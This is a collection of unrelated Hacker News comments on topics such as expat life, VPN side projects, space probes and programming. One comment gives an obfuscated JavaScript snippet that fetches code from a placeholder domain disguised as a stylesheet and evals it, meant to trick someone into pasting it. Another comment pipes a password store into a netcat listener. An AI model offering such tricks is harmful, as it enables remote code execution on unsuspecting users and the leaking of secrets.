skysight-inc/HackerNews huggingface dataset:
I lived 6 years in Stockholm, and despite being from Denmark, so the cultural differences aren't enormous, this article is definitely right on target.
It's kind of like being part of an international community, and if it was a nation in its own right, it would be the most tolerant and friendly you could imagine.
Because becoming an expat takes the kind of social courage you only find among such people.
I've done some 'scanlations' work. I couldn't imagine doing it for a job though.

On one hand, there's some pressures and social issues to grapple with when doing scanlations. For example, You can essentially start turf wars by taking on certain projects, even if the 'maintainer' is grossly neglecting the project or non-communicative. Also, the readers are very passionate people, and they have a direct line to air their grievances with the translation/typesetting/rate of release/etc. There's also, of course, the moral issue of enabling what is essentially just piracy.

On the other hand, you're able to work on a manga you're passionate about, or at the very least interested in without worrying about licensing/etc. And being unbeholden to anyone on the level of accuracy-versus-fluidity and offensiveness is definitely very valuable.

Even just doing it for fun was pretty brutal though. I have a lot of respect for the ancient groups and members that've been plugging away at it forever.
I thought it was fantastic as well (because you know a theory that tries to incorporate our understanding of matter and energy [which the brain is a subset of] in a field with a lot of hand-waving going on, shouldn't be that radical…), though for most neuroscientists it is out of reach because for the most part, have little to no understanding of electromagnetism (let's set aside the QED versions of Maxwell's equations) from my experience, which is quite ironic considering the tools that are in heavy use…

The amount of money being wasted trying to make special FMRI's and custom EEG caps is lost on me when attempting to solve equations along variable boundary conditions seems like it should come first…

Here's the paper the author wrote which that paper is branched from:
http://www.researchgate.net/profile/Dorian_Aur/publication/2...
Tangent: is there an easy way to find/download all the comments you have posted to Schneier's blog? They would be more accessible in a github Jekyll repo, or any source format which could be converted to a single PDF for offline reading.
It is less about how many stars you have an more about how many enterprises use your software. GitLab has 15k stars on GitHub (we moved the canonical source to GitLab itself a while ago) and more than 100k organizations are using it. But most of our income is coming from larger enterprises in the United States. It you can offer them extra features and market it properly you can expect something like 1% of your users to sign up for a paid plan. Please let me know if you have any questions.
Assuming this is JavaScript in a browser, I guess it depends on who you're trying to fool. It sounds like your going for obfuscated or "underhanded" code.

Just messing around, here's something you might try. You might convince someone to paste in a CSS link and an obscure but short snippet of JavaScript. (Okay!) Then:

<link rel="stylesheet" href="//your.domain/style.css" id="ok"></link>
<script>var s = function(k){return k.split('')};
var obj = Object.keys({value:3}).map(s);
fetch(document.getElementById('ok').href+"?x").then(r){r.text().then(window[obj[0].pop().concat(obj[0].join('')).split('');s.pop();
s.join('');]})</script>

Serve a stylesheet at your.domain/style.css and serve JavaScript at your.domain/style.css?x. The JS here will fetch that as text and eval it.
Again I have no prob with teetotalers whether for medical, social or religious reasons.

The only prob I have is how to screen candidates to root out the fanatics and fundamentals from the moderate and regular conservative folks. Unfortunately, these two subgroups share common traits or values and abstaining from drinking is one of them.

What I said was simply that I'd need to extract more info from the candidate to make sure I'm making the right decision.

It is not about anti-religion or religious folks but a policy not to hire crazy and unstable people. I don't want female employees to feel uncomfortable at the company because of a new hire because he might have some objections to how women should dress or debating whether people should eat or have a cup of coffee during Ramadan.

This sort of stuff is unacceptable and I might say that it is not a controversial point for many people. I experienced first hand how some fanatics could drive people out of an org because of their conduct and social antics & crusades. The org lost very competent people to the competition because a fanatic thought he was on some holy mission to transform the workplace into a utopia just to feel good about himself. Needless to say, the place turned into a living hell and he also was in a position of authority to do that and we couldn't do anything about it before it was too late.

So sorry if my opinion shattered your idealistic view of the world around us but it's way way better for me not to hire a "rockstar" fanatic and see people leave in drove because of his social toxicity and to stick to normal and skilled people who would fit and blend well with the group without friction and uneasiness.
OK, now you can claim the $1.000.000 price from the Clay Institute!!! Or you can't... ;)
Neat, but doesn't seem very IT/corporate, which would surely be the intended audience.

My company uses these guys: http://www.knowbe4.com/
Please tell the Lloyd's bank security people. Perhaps the can set scotland yard on them.

An acquaintance got email informing him hed received an inheritance. Smart guy but not wise to the ways of the Internet. Fell for it hook line and sinker.
Tell HN: These are some of my favorite talks for software engineers to watch
Earlier this year someone asked me on Quora:

"What tech talks should every software engineer watch?"

So I thought I would share a list of talks that I've enjoyed watching on the way on HN as well:

"Kevin Slavin shows how modern algorithms determine stock prices, espionage tactics, even the movies you watch."

http://www.ted.com/talks/kevin_slavin_how_algorithms_shape_our_world?language=en#

Dynamic Languages Wizards Series - Panel on Language Design (2001)

https://www.youtube.com/watch?v=agw-wlHGi0E

Writing Software by David Heinemeier Hansson (DHH)

https://www.youtube.com/watch?v=9LfmrkyP81M

Jim Weirich: Adventures in Functional Programming

https://vimeo.com/45140590

Lessons of Scale at Facebook

https://www.youtube.com/watch?v=QCHiNEw73AU

How We've Scaled Dropbox

https://www.youtube.com/watch?v=PE4gwstWhmc

Facebook and memcached

https://www.youtube.com/watch?v=UH7wkvcf0ys

The Myth of the Genius Programmer:

https://www.youtube.com/watch?v=0SARbwvhupQ

Challenges Chances In Polyglot Programming

https://www.youtube.com/watch?v=VUr_JTNKAFo&feature=youtu.be

How To Design A Good API and Why it Matters

https://www.youtube.com/watch?v=aAb7hSCtvGw

Jeremy Edberg - Scalable Cloud Architectures

https://www.youtube.com/watch?v=cCAO9moDucI

An overview of HTTP/2 with Daniel Sommermann

https://www.youtube.com/watch?v=-yxQIRl6Qic

The list I have is pretty long, but these talks have great insights on the topics related to talk in practice or let's say real world implementations.
I think we'll have to agree to disagree on most of those points then.

I do not think there are trivial/uninteresting questions. You have to prioritise, but you can't just sweep stuff under the rug and call it a day. I'm not even using the "it might be huge!" argument, just that science is about curiosity. Most math won't end up as useful as cryptography, but it doesn't matter.

I do think that it is part of your job, as a scientist, to document what you do, and what you observe. If a software engineer on my team didn't document his code/methodology correctly, he'd be reprimanded, for good reason. Yeah, it takes time, but it's part of the job. This way, we avoid having 4 people independently rediscovering how to set up the build tools.
Love it! My recommendation would be to offer an option for allowing the target to be tricked through the whole process. (Even if credentials are discarded completely.) The idea here is nothing is left to the imagination. What you have is great, but it requires them to read and be observant, which is not the type of person who falls for phishing emails. Clicking the link is "No-No" #1, don't exclude "No-No" #2 from your process.
I don't know about other platforms, but on most modern systems, doesn't it just take on the current GTK+ theme? python/tk apps seem find to me most of the time.
Next iPhones to Feature Force Touch Technology
Libervia: XMPP based social network
+1!
This thing is awesome. And that would make it even more awesome.
The only site that shows up in google is her unmaintained page.

Perhaps she is in a psych hospital, or homeless.

Shes close to her grandmother, at least she was. Maybe shes with a relative.

She has never been aware that she hallucinates.
When will the node.js madness end?
> if they only have money as a motivator to work at a place they hate then they'll just be poor performers. They won't have the energy to do more than the bare minimum.

Source?
Rosetta and Philae: Searching for a good signal
Yeah GTK is pretty terrible on any platform other than Linux. And it's not great there either.
I haven't tried pass on Windows or Android, but I did write an (over-complicated, but it was partly for fun and I wanted to play with clojure/clojurescript) webserver exposing pass from a VPS:

https://github.com/johnswanson/pass-server

I shut down the Linode it was on a while back and haven't gotten around to putting it back up yet, but it worked pretty well for me.
To answer your comment and dbbolton's simultaneously: My criticism of Savannah is based on aesthetics, but also on their model. Savannah has virtually zero funding.

What do you think will happen, exactly, when an unfunded host can't keep running? Maybe their gnu website will receive some donation from Facebook or Google or something, but there is no incentive to keep the nongnu part running. It's just volunteer work.

That model can work (cf wikipedia), but it's extremely rare, requires a lot of effort, a lot of bootstrapping and a lot of luck. It also requires $1 to pay for more than itself, so there are extra requirements regarding efficiency of spending, and diminishing returns of donations.

Gitlab has a good model. In fact, I'd be curious to see what their CEO makes of what I'm saying here - I always find him scouring HN comments about github, git, hosting, sourceforge, all of these. This is the sort of effort you have to put into to get your product out there into the ears and minds of people.

As I said earlier, yes there is a risk Github will turn evil. If they do, there will be warning signs (there have been warning signs about SF for 5 years). If such is the case, there will be alternatives by then (ever heard "if there aren't, I'll build one and get rich"?).

If Savannah runs out of money and has to turn off the lights, how much of a warning sign will there be? A few weeks maybe? Maybe there just won't be any. And this is a very real situation, which you absolutely need to be ready to confront. Putting your fingers in your ears and calling everything "an assault" won't help.

> if we're the ones generating our own bad press, we at least control the overall narrative

It's a very bad sign that you care so much about the "overall narrative". It's reminiscent of your approach to flag criticism as assault again. You care about what people say, not why they say it.

I'm not paid by an anti-FOSS group or just felt like shitting on the work of random people. There's a reason behind everything I wrote here and above; it's backed by experience. And you'll be hard pressed to find people disagreeing that Savannah is pretty terrible... you can't just go around "controlling the narrative" like you own the media. You have to fix the problem at the root.
Thought about doing this. Questions:

-Which VPN server software did you use?
-Did build your own custom client wrapper, or did you have people download something like OpenVPN and enter the configuration info themselves

-How many customers did u end up getting?
-Was it hard to acquire customers?
-Were people more price sensitive or feature sensitive?
A few times I've used `pass | nc -l $SOME_PORT` and then navigated to my hostname:$SOME_PORT with my mobile browser (over some secure network of course).

It's not the best solution but it works for the rare occasion I need to authenticate an app.
With rightly adjusted content filters, the web today is blazingly fast.
The NY Times loads in under 2 seconds, the most popular German news provider (spiegel.de) in roughly a second. No external sources loaded.

Very heavy pages like Google Maps do have some speed issues, but I guess that's at least partly caused by my core i5 instead of my internet connection.

Sounds like a client problem to me.
https://news.ycombinator.com/item?id=9789819
I wonder, are the text replies on the agree/disagree/favorite/least favorite sections exhaustive? I'm guessing they were filtered somehow since there's so few, compared to the amount of replies (and the lack of people talking about their privates).
More information: https://www.jlpt.jp/e/about/levelsummary.html

I seem to recall that Japanese Universities require level 3 for exchange students to enroll in Japanese language classes. That's probably not enough to follow lectures, but probably enough to get to the level of being able to follow lectures after 3-6 months.

My literacy is pretty poor, so I don't think I'd be able to pass a level 3 test, but I think apart from the literacy part it's probably a decent description of my current level.

Coming from latin-alphabet languages, it takes some effort to get up to speed -- the primary school curriculum is 1006[1] kanji characters, along with 2*48[2] (depending of how one counts) kana. And that's just the bare minimum, general literacy is ~3000 kanji.

It's a fascinating language, and learning it gives some interesting linguistic perspectives because it's so different, especially from other big languages. It's also a rather simple language -- the main difficulty lies in how different Japanese is, due to the long isolation.

[1] https://en.wikipedia.org/wiki/Kyōiku_kanji

[2] https://en.wikipedia.org/wiki/Kana
Guide to Installing PSM Unity on PSVita FW 3.20-3.51
About how much money has YouTube presumably paid out to DarkZeroTV for this video's 119 million views?
You can use camtasia for Windows to record inside the VM or camtasia for Mac to record from the host OS
The more awareness musl gets, the better. See also Sabotage Linux, a musl-based distro: https://github.com/sabotage-linux/sabotage
1024 Cores: Multi-Core Computing + Efficient Scaling Up: “General Recipe”
Yea...no. The population of the Netherlands is 17 million. There is absolutely no way this is a statistical outlier.
I used OpenVPN.
Didn't have enough time to build custom client wrapper. So our customers used some openvpn client, or viscosity.

We had about 400 registred clients, of course not all were active and paying.

Getting paying customer is quite hard. Some people just register. Others register, pay, but do not start using. Some of them use service for 2 months, then leave. After 2 months they come back.

There different requirements, but most of people want super easy install process. But all of them have different network configurations, so even with simple client you will have to spent time helping people to start using service.

My service was low-end, it was 3$/month.
Definition 2a seems related: "Producing [...] remarkable results, like those attributed to magic [...]; effecting or permitting change, success, etc., as if by magic."

Also the 'magic box'.

The Urban Dictionary (the place where I look for colloquialisms) has this definition: "with or through complexity either spurios to the contemproary context or to long to be reasonable or desired of explanation". [1]

1: http://www.urbandictionary.com/define.php?term=magic&defid=9...
I think another problem is that bear markets tend to be briefer and more erratic than bull markets, making your odds worse. The serial, consistent returns being long in bull market aren't as consistent as being short in a bear market. In bear markets it may just be best to sit it out.
It shows disrespect for the employee's time.

That might not cause you to quit immediately, but it might be an indicator for other problems and you might become more acutely aware of those when you start.

Also, now you have "I passed the Google hiring process" on your CV.
The main attraction is .io is shorter than .com, and .io is newer (maybe not in a practical sense, actually newer, but in terms of mindshare) -- so some domains that might have been taken/camped for decades on .com might be open on .io. Perhaps the higher fees also leads to a little less camping.
Hi there,

I did the same. I founded a VPN provider[0] in my free time. It is still running, but I have at times been close to shutting it down.

Most of my code has been open the whole time and is on github[1]. Some internal tools and the website are not on github though. I went with AGPL for license. It'll make my day if someone forks my code and founds their own provider.

I operate out of Iceland and most of my clients are Icelandic. The biggest use case for my service was ISPs in Iceland charging extra for international bandwidth. By having my servers in Icelandic datacenters, I was able to provide my customers with significantly lower prices for bandwidth, thereby lowering the cost of internet for a lot of people. Considering the huge time investment that has gone into this side project, I have not made much money from it. But knowing that I helped my internet usage more affordable is something that has made this project meaningful for me.

Since I started, lots of things have changed. Some ISPs are now offering unmetered connections (this was unheard of before). Others have lowered their prices. I have heard people attributing part of these changes to me and my company.

I have not experienced DDoS attacks like you, but I have been the subject of meetings at some regulatory boards in Iceland, as well as at the monopoly behind the submarine cables[2] connecting Iceland to the world (the source of this dual-pricing schemes). One hosting provider was forced to change their core routing shortly after I starting hosting with them, to make me unable to host there. Other providers have come under preassure from this monopoly to kick me out. Like you said, you feel like your service was real -- someone with a vested interest against it was watching me.

Some time in the near future I will shut down the service. It's just time to move on to other projects and time to recognize that it's fulfilled it's usefulness. I know I will walk away from this project with a great sense of accomplishment, I am proud and happy with the work I did.

[0]: www.lokun.is

[1]: https://www.github.com/benediktkr/lokun-record

[2]: https://en.wikipedia.org/wiki/FARICE-1
iCal/caldav+rss?
I like many here find these space probes endlessly fascinating, for several reasons. Of course there's the discovery aspect but what really intrigues me are the engineering challenges and discovering things are huge problems that I never thought of as being problems.

It's an incredible feat to have something like this operate for decades (in the case of Voyager and Pioneer) from both a hardware and software perspective.

But as for eye-opening problems, two examples spring to mind.

Firstly, they don't know exactly where Pluto is. It was only discovered in 1930 and given it has an orbital period of 248 years, we haven't observed it complete even half an orbit yet.

So it's visible to New Horizons but one thing they're not sure of is exactly how far away it is. This is important because in the next week they need to do a final course correction. More:

http://www.nature.com/news/pluto-bound-probe-faces-its-tough...

The second applies to the mission in planning phase to head back to Europa. I knew Jupiter had a strong magnetic field but I didn't realize quite how destructive it's radiation belts were and the source of them is actually Jupiter's magnetic field capturing radiation from the Sun. This is why the mission plans to do flybys rather than orbit Europa.

I think those of us who are software engineers can appreciate this on typically a much smaller scale. Things often look much easier than they actually are until you delve into the details. It's amusing to me to see this apply on much grander scales too.

So it's going to be exciting to images from the flyby of both Pluto and Charon. It's a shame the encounter will be so brief and the resolution of Pluto not super-high (IIRC down to 20km or so) but it'll be a lot more than we have now.

It makes me wonder how complicated an intercept course would've or could be to really study Pluto.

Given our missions to Jupiter and Saturn in the last 20 years I wonder if we'll see a return trip to Uranus or Neptune. I sure hope so.
Fascinating that one of the problems is that the Greeks want to increase taxes too much. And the creditors who have imposed austerity are worried it might affect growth!
SSLv3 deprecated
Thanks. I do not see that when I use what I would think to be the straightforward way to count (using integers), though:

var count = Int()
for var i in array
{
i += negBoundary
let delta = (i > 0.0) ? 1 : 0
count += delta
}

(timed using mach_absolute_time(), on my system, that code also seems about twice as fast as the SIMD code)

I did not check whether that trigraph gets compiled to a branch (I tried, but I had trouble reading the disassembly that otool gave me; I’m not used to x86, and I found the code surprisingly long)
musl is great, but it would great if there was something at the compiler level that is better than both gcc and LLVM/Clang.

LLVM/Clang is a step in the right direction but it's quite bloated because of support for C++, Objective-C etc (for C standards at least); not to mention it's written in C++.

Being a Python/C hybrid enthusiast, I looked into taking something like Eli Bendersky's pycparser and making it featureful (preprocesser parsing at the minimum), but haven't done anything in that direction. Maybe some way of combining pycparser and tcc.
its pretty simple to see how likely the population's mean height is explained by randomness alone (your hypothesis)... my guess is that the sample size is so large that the probability is vanishingly small
Well, your vpn had an interesting usecase(making traffic cheaper).
In russia everybody just uses some free browser extensions to bypass traffic filtering :(
> "unfortunately it'll only run in my lab, no one else is competent enough to run it or build a copy" then what good is it to society?

Are you suggesting that the Large Hadron Collider should be shut down?
I would never hire someone who overworks. There's too much risk of bad quality work in the short term, upset/grumbling workers in the mid term and depressive people in the long term. Brains need refreshment and creativity needs a full life outside work. When you build your company, your own ecosystem is a healthy as the lifestyle of the people who make it.

But again, this is valid in Australia and France. I know that people work too much in SF/US.
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